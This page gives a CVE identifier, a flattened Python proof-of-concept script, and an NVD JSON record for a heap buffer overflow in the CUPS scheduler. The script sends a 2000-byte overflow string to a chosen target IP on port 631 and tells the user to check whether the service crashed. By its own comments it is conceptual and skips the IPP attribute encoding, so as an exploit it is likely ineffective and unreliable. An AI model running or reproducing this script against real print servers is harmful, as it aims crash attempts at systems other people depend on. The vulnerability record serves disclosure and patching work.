CVE-2026-34979

import socket import sys # PoC for CVE-2026-34979 (Conceptual) # This script attempts to trigger the heap overflow in CUPS scheduler # by sending a crafted attribute string. def send_exploit(target_ip, target_port=631): # Crafting a long string to trigger the buffer overflow # The specific length needed to overflow depends on the heap layout overflow_payload = b"A" * 2000 # Basic HTTP/IPP header structure for a Print-Job request # This is a simplified structure to demonstrate the concept request = b"POST / HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"Content-Type: application/ipp\r\n" request += b"Content-Length: " + str(len(overflow_payload)).encode() + b"\r\n\r\n" # In a real scenario, the payload would be encapsulated in IPP attributes # such as 'job-attributes' or similar fields mentioned in the advisory. request += overflow_payload try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(request) print("[*] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") else: send_exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-34979", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:27.097", "lastModified": "2026-04-16T18:28:57.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, there is a heap-based buffer overflow in the CUPS scheduler when building filter option strings from job attribute. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.16", "matchCriteriaId": "8A2A4507-B2D7-43B8-B008-6EC2F5053FA9"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-6qxf-7jx6-86fh", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-6qxf-7jx6-86fh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}